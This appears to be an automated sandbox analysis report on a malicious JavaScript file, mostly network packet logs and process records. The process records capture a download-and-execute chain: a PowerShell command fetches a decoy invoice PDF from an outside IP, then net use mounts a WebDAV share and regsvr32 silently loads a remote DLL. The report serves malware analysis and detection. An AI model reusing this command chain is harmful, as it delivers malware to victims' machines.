Jan 10, 2025 21:17:35.295351982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.295430899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295438051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295449972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295475006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295480967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295481920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.295490026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295511961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.295561075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295567036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295578003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295584917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295589924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.295634985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295640945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295646906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.295646906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.295653105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295660019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295674086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295684099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.295708895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.295734882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295741081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295752048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295757055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295764923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295795918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.295814991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.295814991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.295869112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295876026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295886993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295892954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295898914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295903921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295912027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295926094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.296473980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296482086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296493053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296499014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296509027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.296511889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296519995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296525955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296538115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.296538115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.296541929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296550035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296561003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296566963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296570063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.296575069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296585083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.296586037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296631098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.296643972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296650887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296662092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296669006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296669006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.296681881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296689987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296691895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.296719074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.296742916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.296766043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296772003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296782970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296799898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296806097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296813011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.296813011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.296833992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.297183990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.297367096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297374010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297388077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297394037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297399998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297410011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297415972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297421932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297427893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297435999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297437906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.297487020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.297487020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.297570944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297576904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297588110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297593117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297601938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297610998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297616959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297622919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297632933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.297662020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.297677994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297683954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297703028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297708988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297720909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297728062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.297736883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.297754049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.299339056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.301791906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.301809072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.301815033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.301825047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.301831007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.301837921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.301853895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.301860094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.301887035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.301908970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.301908970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.309185028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.309254885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.309259892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.309271097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.309277058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.309288979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.309303999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.309312105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.309318066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.309339046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.309350014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.309418917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.309457064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.309468031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.309509039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.309564114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.309571028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.309581995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.309612036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.309616089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.309623003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.309633970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.309638977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.309645891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.309659958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.309681892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.309685946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.309710026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.311600924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.605046034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.617326021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.924808025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:36.329859972 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:36.334821939 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:36.335139990 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:36.335139990 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:36.339997053 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:37.158862114 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:37.209562063 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:37.540936947 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:18:12.472548008 CET	52046	53	192.168.2.5	162.159.36.2
Jan 10, 2025 21:18:12.477432013 CET	53	52046	162.159.36.2	192.168.2.5
Jan 10, 2025 21:18:12.477564096 CET	52046	53	192.168.2.5	162.159.36.2
Jan 10, 2025 21:18:12.482405901 CET	53	52046	162.159.36.2	192.168.2.5
Jan 10, 2025 21:18:12.940931082 CET	52046	53	192.168.2.5	162.159.36.2
Jan 10, 2025 21:18:12.945940018 CET	53	52046	162.159.36.2	192.168.2.5
Jan 10, 2025 21:18:12.946021080 CET	52046	53	192.168.2.5	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:17:44.242280006 CET	52436	53	192.168.2.5	1.1.1.1
Jan 10, 2025 21:18:12.471797943 CET	53	51120	162.159.36.2	192.168.2.5
Jan 10, 2025 21:18:12.980803967 CET	53	59671	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:17:44.242280006 CET	192.168.2.5	1.1.1.1	0xfa3	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:17:44.289334059 CET	1.1.1.1	192.168.2.5	0xfa3	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:17:44.602808952 CET	1.1.1.1	192.168.2.5	0xa62	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:17:44.602808952 CET	1.1.1.1	192.168.2.5	0xa62	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	5168	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:17:33.766138077 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 21:17:34.560689926 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:17:34 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 21:17:34.560724020 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 21:17:34.560731888 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 21:17:34.560738087 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 21:17:34.560754061 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 21:17:34.560760021 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 21:17:34.560774088 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 21:17:34.560779095 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 21:17:34.560791016 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 21:17:34.560797930 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 10, 2025 21:17:34.565695047 CET	1116	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	2640	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:17:36.335139990 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 21:17:37.158862114 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:17:37 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	15:17:29
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2091470502273216855.js"
Imagebase:	0x7ff717d90000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:17:30
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll
Imagebase:	0x7ff714ba0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:17:30
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:17:30
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:17:35
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	15:17:35
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff714ba0000
File size:	289'792 bytes
